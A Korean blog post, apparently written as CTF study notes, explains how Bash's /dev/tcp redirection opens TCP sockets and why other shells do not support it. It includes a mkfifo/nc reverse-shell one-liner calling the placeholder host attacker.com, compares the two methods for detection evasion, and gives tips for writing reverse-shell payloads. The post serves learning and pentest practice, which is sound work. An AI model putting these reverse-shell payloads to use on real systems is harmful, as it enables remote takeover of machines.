bash /dev/tcp

agnusdei·2025년 8월 4일

CTF

목록 보기
58/185

/dev/tcp/ 리다이렉션의 특성

Bash 전용 기능:

  • /dev/tcp/host/portBash만의 특별한 기능입니다
  • Bash가 내부적으로 TCP 소켓 연결을 생성해주는 가상 파일 시스템입니다

다른 shell에서는 작동하지 않음:

  • sh (보통 dash, ash 등)
  • zsh
  • fish
  • 기타 POSIX 호환 셸들

실제 테스트해보면:

# Bash에서는 작동
bash -c 'echo "test" > /dev/tcp/google.com/80'

# sh에서는 에러
sh -c 'echo "test" > /dev/tcp/google.com/80'
# 결과: sh: can't create /dev/tcp/google.com/80: nonexistent directory

시스템별 /bin/sh 차이점:

  • Ubuntu/Debian: shdash (Bash 아님)
  • CentOS/RHEL: shbash (심볼릭 링크)
  • Alpine Linux: shash (Bash 아님)

그래서 첫 번째 방식(named pipe)이 더 범용적이고 안정적인 거죠. 어떤 셸이든 mkfifo, cat, nc 같은 표준 유닉스 도구들을 사용하니까요.

실제 공격자들도 이런 호환성 문제 때문에 named pipe 방식을 선호하는 경우가 많습니다.


문제

Bash 전용 기능인 /dev/tcp/host/port 리다이렉션은 어떤 원리로 동작하며, 왜 실전에서는 named pipe 방식이 더 선호되는가?


1. 서론: 정의 + 배경 + 출현 이유

  • /dev/tcp/host/port는 실제 파일 시스템에 존재하는 파일이 아니라, Bash 쉘이 내부적으로 구현한 가상 인터페이스다.
  • 이를 통해 Bash는 표준 리다이렉션 문법 (>, <)만으로 TCP/UDP 네트워크 소켓을 직접 열 수 있는 기능을 제공한다.
  • 초기에는 간단한 포트 체크, 원격 서버에 텍스트 전송 등을 위한 도구로 활용되었지만, 이후 리버스 쉘이나 데이터 송수신 등 다양한 공격에도 응용됨.

2. 본론: 구성 원리 + 특징 + 실무적 비교

(1) 동작 원리

bash -c 'echo "test" > /dev/tcp/google.com/80'
  • /dev/tcp/host/port 접근이 발생하면:

    1. Bash는 내부적으로 해당 문자열을 인식
    2. host:port에 대해 TCP 연결 시도
    3. 성공 시 파일 디스크립터처럼 사용 가능 (표준 입출력 연결됨)
cat < /dev/tcp/host/port     # 서버 응답 읽기
echo "GET / HTTP/1.0" > /dev/tcp/host/port  # 요청 보내기

(2) Bash 전용 기능

  • Bash 내장: 이 기능은 리눅스 커널이나 파일 시스템이 아닌, Bash 쉘 자체가 제공하는 가상 경로

  • 다른 셸에서는 작동 안 함

    • sh, dash, ash, zsh, fish 등은 인식 못 함

    • 실행하면 다음과 같은 오류 발생:

      sh: can't create /dev/tcp/google.com/80: nonexistent directory

(3) 시스템별 sh 해석 차이

시스템/bin/sh 기본 해석/dev/tcp 동작 여부
Ubuntu, Debiandash❌ 불가
Alpine Linuxash❌ 불가
CentOS, RHELbash (링크)✅ 가능

→ 리버스 쉘 등 자동화 스크립트 작성 시 셸 해석기 종류에 따라 동작이 달라짐

(4) 실전에서 named pipe 방식이 더 선호되는 이유

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | sh -i 2>&1 | nc attacker.com 1234 > /tmp/f
  • 이 방식은:

    • mkfifo, cat, sh, nc 같은 POSIX 표준 유틸리티만 사용
    • 셸 종류에 상관없이 동작 (dash, ash 등에서도 문제 없음)
    • 유닉스 환경에서 범용성과 안정성 확보 가능

(5) 두 방식 비교

항목/dev/tcp 방식Named Pipe 방식
쉘 호환성Bash 전용 (제한적)거의 모든 POSIX 쉘에서 동작
구현 간결성매우 짧고 직관적다소 복잡한 파이프 구성
탐지 회피상대적으로 은밀nc, mkfifo 등 흔적 남음
디버깅/실패율환경 따라 자주 깨짐상대적으로 안정적
실전 사용제한적 (Bash 환경 전제)매우 일반적, 실제 공격자 선호

3. 결론: 어린이 버전 요약

  • /dev/tcp/host/port는 Bash만 아는 비밀 통로예요.
  • Bash는 이걸 보고 “아! TCP 연결하라는 거구나” 하고 자동으로 네트워크 연결을 해줘요.
  • 근데 이건 Bash만 아는 기능이라, 다른 셸은 못 알아들어요.
  • 그래서 공격자들은 어떤 리눅스든 잘 작동하는 mkfifo 방식(named pipe)을 더 많이 써요.

✅ 실무 팁

  • 셸 종류 확인:

    ls -l /bin/sh
    echo $0
  • POSIX 호환용 리버스 쉘 페이로드 작성 시에는 /dev/tcp 지양

  • 웹쉘이나 취약점 익스플로잇 자동화 시 /bin/sh가 어떤 해석기를 가리키는지 확인할 것


profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글